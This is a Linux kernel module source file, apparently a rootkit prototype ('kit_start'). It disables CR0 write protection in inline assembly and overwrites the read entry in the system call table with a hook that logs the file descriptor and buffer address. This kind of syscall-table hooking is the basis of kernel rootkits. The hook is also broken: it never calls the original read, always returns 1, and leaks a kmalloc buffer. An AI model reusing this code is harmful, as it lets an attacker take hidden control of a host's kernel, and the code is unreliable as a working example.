test_kit.c

#include <linux/module.h>
#include <linux/slab.h>
#include <linux/string.h>
#include <linux/moduleparam.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/tty.h>
#include <linux/unistd.h>
#include <linux/syscalls.h>

#include <asm/ptrace.h>
#include <asm/uaccess.h>
#include <asm/cacheflush.h>
#include <linux/sched.h>
#include <linux/file.h>
#include <linux/proc_fs.h>
#include <linux/dirent.h>
#include <net/tcp.h>


MODULE_LICENSE("GPL");
unsigned long *sys_call_table;
unsigned long ( *original_read ) ( const struct pt_regs *regs );


static inline void rw_enable( void ) {
    asm volatile ( "cli \n"
        "pushq %rax \n"
        "movq %cr0, %rax \n"
        "andq $0xfffffffffffeffff, %rax \n"
        "movq %rax, %cr0 \n"
        "popq %rax " );
}

static inline uint64_t getcr0(void) {
    register uint64_t ret = 0;
    asm volatile (
        "movq %%cr0, %0\n"
        :"=r"(ret)
    );
    return ret;
}

static inline void rw_disable( register uint64_t val ) {
    asm volatile(
        "movq %0, %%cr0\n"
        "sti "
        :
        :"r"(val)
    );
}





unsigned long test_read(const struct pt_regs *regs){

	printk(KERN_INFO "Inside test_read");
	unsigned int fd = regs->di;
    	char *buf = (char*) regs->si;

  	int i;
	unsigned long r=1;

  	char *kbuf=(char*)kmalloc(256,GFP_KERNEL);
  	printk(KERN_INFO "File descriptor\n");
  	printk(KERN_CONT "%lu",fd);
  	printk(KERN_INFO "User Buffer\n");
  	printk(KERN_CONT "%p",buf);
	return r;

}

static int __init kit_start(void)
{
	sys_call_table = kallsyms_lookup_name("sys_call_table");
	printk(KERN_INFO "System call addresss ");
	printk(KERN_CONT "%p",sys_call_table);
	original_read = (void *)sys_call_table[__NR_read];
	printk(KERN_INFO "Original read address ");
	printk(KERN_CONT "%p",original_read);


	register uint64_t cr0;
	cr0 = getcr0();
	rw_enable();
	sys_call_table[__NR_read]=test_read;
	rw_disable( cr0 );

  	return 0;
}


/*delete module rmmod*/
void __exit kit_exit(void)
{
	printk(KERN_INFO "Exiting");
	register uint64_t cr0;
	cr0 = getcr0();
        rw_enable();
	sys_call_table[ __NR_read ] = original_read;
  	rw_disable( cr0 );

}

module_init(kit_start);
module_exit(kit_exit);